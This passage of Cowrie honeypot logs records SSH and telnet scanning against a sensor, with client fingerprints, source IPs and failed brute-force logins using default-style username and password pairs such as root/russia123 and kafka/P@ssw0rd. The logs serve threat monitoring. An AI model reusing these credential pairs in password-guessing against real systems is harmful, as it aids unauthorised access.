a2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:24.646136Z","src_ip":"45.153.34.195","session":"7435cdbe2bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:25.267096Z","src_ip":"45.153.34.195","session":"7435cdbe2bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.58437943458557,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:25.355712Z","src_ip":"128.199.8.54","session":"da2dde0cf568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"25.2","message":"Connection lost after 25.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:25.658394Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"idempiere","message":"login attempt [idempiere/idempiere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:25.952539Z","src_ip":"91.92.40.36","session":"1064ac17a90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:26.351651Z","src_ip":"45.153.34.195","session":"7435cdbe2bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":22224,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29f5fe7c9c1","protocol":"ssh","message":"New connection: 150.136.214.177:22224 (10.17.0.5:22) [session: f29f5fe7c9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.345656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.354186Z","src_ip":"150.136.214.177","session":"f29f5fe7c9c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.389593Z","src_ip":"150.136.214.177","session":"f29f5fe7c9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.418457Z","src_ip":"91.92.40.36","session":"1064ac17a90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"russia123","message":"login attempt [root/russia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.534046Z","src_ip":"150.136.214.177","session":"f29f5fe7c9c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48728,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf68014efff","protocol":"ssh","message":"New connection: 45.153.34.195:48728 (10.17.0.5:22) [session: 1bf68014efff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.538131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.553513Z","src_ip":"45.153.34.195","session":"1bf68014efff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.643428Z","src_ip":"45.153.34.195","session":"1bf68014efff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"python","password":"123456","message":"login attempt [python/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:27.897101Z","src_ip":"45.153.34.195","session":"1bf68014efff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:28.563625Z","src_ip":"150.136.214.177","session":"f29f5fe7c9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:28.981018Z","src_ip":"45.153.34.195","session":"1bf68014efff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48740,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac3151d2cab8","protocol":"ssh","message":"New connection: 45.153.34.195:48740 (10.17.0.5:22) [session: ac3151d2cab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:30.505709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:30.541348Z","src_ip":"45.153.34.195","session":"ac3151d2cab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:30.634518Z","src_ip":"45.153.34.195","session":"ac3151d2cab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:30.967447Z","src_ip":"45.153.34.195","session":"ac3151d2cab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:32.054622Z","src_ip":"45.153.34.195","session":"ac3151d2cab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17450,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfaff437c26d","protocol":"ssh","message":"New connection: 45.153.34.195:17450 (10.17.0.5:22) [session: bfaff437c26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:33.263743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:33.434086Z","src_ip":"45.153.34.195","session":"bfaff437c26d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:33.437284Z","src_ip":"45.153.34.195","session":"bfaff437c26d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.83323049545288,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:33.510954Z","src_ip":"128.199.8.54","session":"0ad729750a8a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"avalanche","password":"avalanche","message":"login attempt [avalanche/avalanche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:33.855069Z","src_ip":"45.153.34.195","session":"bfaff437c26d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14626,"dst_ip":"10.17.0.5","dst_port":22,"session":"25658ad5178f","protocol":"ssh","message":"New connection: 91.92.40.36:14626 (10.17.0.5:22) [session: 25658ad5178f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:34.022465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:34.028789Z","src_ip":"91.92.40.36","session":"25658ad5178f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:34.938335Z","src_ip":"45.153.34.195","session":"bfaff437c26d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:35.674463Z","src_ip":"91.92.40.36","session":"25658ad5178f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7c7cbf99b0a","protocol":"ssh","message":"New connection: 45.153.34.195:17462 (10.17.0.5:22) [session: e7c7cbf99b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:36.332720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:36.337329Z","src_ip":"45.153.34.195","session":"e7c7cbf99b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:36.418730Z","src_ip":"45.153.34.195","session":"e7c7cbf99b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:36.874146Z","src_ip":"45.153.34.195","session":"e7c7cbf99b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:37.958877Z","src_ip":"45.153.34.195","session":"e7c7cbf99b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17470,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbcfcf143f30","protocol":"ssh","message":"New connection: 45.153.34.195:17470 (10.17.0.5:22) [session: cbcfcf143f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:39.218961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:39.223514Z","src_ip":"45.153.34.195","session":"cbcfcf143f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:39.313874Z","src_ip":"45.153.34.195","session":"cbcfcf143f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"123456","message":"login attempt [kafka/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:39.569479Z","src_ip":"45.153.34.195","session":"cbcfcf143f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25652,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b4455b1b517","protocol":"ssh","message":"New connection: 91.92.40.36:25652 (10.17.0.5:22) [session: 4b4455b1b517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:40.486756Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:40.653991Z","src_ip":"45.153.34.195","session":"cbcfcf143f30","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:41.173438Z","src_ip":"91.92.40.36","session":"4b4455b1b517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17478,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f15fade4de","protocol":"ssh","message":"New connection: 45.153.34.195:17478 (10.17.0.5:22) [session: c0f15fade4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:42.130780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:42.139051Z","src_ip":"45.153.34.195","session":"c0f15fade4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:42.183310Z","src_ip":"91.92.40.36","session":"25658ad5178f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-